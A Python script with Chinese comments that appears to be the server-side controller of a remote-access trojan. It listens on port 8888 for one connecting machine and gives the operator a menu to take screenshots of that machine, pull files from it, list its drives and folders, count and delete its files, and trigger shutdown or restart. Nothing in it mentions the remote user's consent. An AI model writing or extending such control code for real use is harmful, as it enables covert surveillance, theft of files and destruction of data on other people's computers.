# 服务器


from socket import *
import os
import json
import struct


# 菜单
def Menu():
    print('1.截图(4张)\n'
          '2.接收文件\n'
          '3.查看文件\n'
          '4.查看所有盘符\n'
          '5.关机\n'
          '6.重启\n'
          '7.查看文件数量\n'
          '8.删除文件\n'
          )
    choise = input('请输入指令：')
    client.send(choise.encode('utf-8'))
    if choise == '1':
        # 调用截图函数
        Screenshot()
    elif choise == '2':
        save_dir = input('请输入保存路径：')
        # 调用接收文件函数
        save_file(save_dir)
    elif choise == '3':
        # 调用查看文件函数
        File()
    elif choise == '4':
        # 调用查看所有盘符函数
        All_disk()
    elif choise == '5':
        # 调用关机函数
        Shutdown()
    elif choise == '6':
        # 调用重启函数
        Restart()
    elif choise == '7':
        print(r'例如：C:\\，输入：C')
        pf = input('请输入要查看的磁盘：')
        pf = pf + r':\\'
        client.send(pf.encode('utf-8'))
        # 调用查看文件数量函数
        file_c()
    elif choise == '8':
        # 调用删除文件函数
        del_file()












# 1.接收截图
def Screenshot():
    for i in range(1, 5):
        # 接收截图大小
        size = client.recv(1024).decode()
        size = int(size)
        # 初始化大小
        img_size = 0
        with open(f'Screenshot/Screenshot-{i}.jpg', 'wb') as f:
            while img_size < size:
                # 接收图片
                data = client.recv(1024)
                # 写入图片
                f.write(data)
                # 计算图片大小
                img_size += len(data)
                print(f'已接收：{img_size/size*100:.0f}%')
    # 调用菜单函数
    Menu()



# 2.接收文件
def save_file(save_dir):
    # 1. 接收文件头长度（4字节）
    header_size = struct.unpack('I', client.recv(4))[0]
    # 2. 接收头内容并解析
    header_json = client.recv(header_size).decode('utf-8')
    header = json.loads(header_json)
    file_name = header['filename']
    file_size = header['filesize']

    # 3. 分块接收并写入文件
    save_path = f"{save_dir}/{file_name}"
    with open(save_path, 'wb') as f:
        bytes_received = 0
        while bytes_received < file_size:
            chunk = client.recv(min(4096, file_size - bytes_received))
            if not chunk:
                break
            f.write(chunk)
            bytes_received += len(chunk)
    print(f"[💾] 文件 {file_name} 保存成功 ({bytes_received}/{file_size} 字节)")

    # 调用菜单函数
    Menu()





# 3.查看文件
def File():
    print(r'例如：C:\\，输入：C')
    pf_i = input('请输入要查看的磁盘：')
    pf = pf_i + r':\\'
    client.send(pf.encode())
    xlsx = client.recv(1024).decode('utf-8')
    print(xlsx)
    # 调用菜单函数
    Menu()









# 4.查看所有盘符
def All_disk():
    pf = client.recv(1024).decode('utf-8')
    print(pf)
    # 调用菜单函数
    Menu()








# 5.关机
def Shutdown():
    print('客户端关机中...')



# 6.重启
def Restart():
    print('客户端重启中...')


# 7.查看文件数量
def file_c():
    print('正在计算文件数量...')
    file_count = client.recv(1024).decode('utf-8')
    print(f"{file_count}个文件\n")
    return file_count



# 8.删除文件
def del_file():
    # 发送客户端删除文件名
    file_name = input('请输入要删除的文件名：')
    client.send(file_name.encode('utf-8'))
    # 接收删除文件结果
    client.recv(1024).decode('utf-8')




# 创建接收截图文件夹
if not os.path.exists('Screenshot'):
    os.mkdir('Screenshot')
# 创建接收文件文件夹
if not os.path.exists('File'):
    os.mkdir('File')


server = socket()

ip = gethostname()

port = 8888

server.bind((ip, port))

server.listen()

client, addr = server.accept()

print(addr)



while True:
    # 调用菜单函数
    Menu()








#

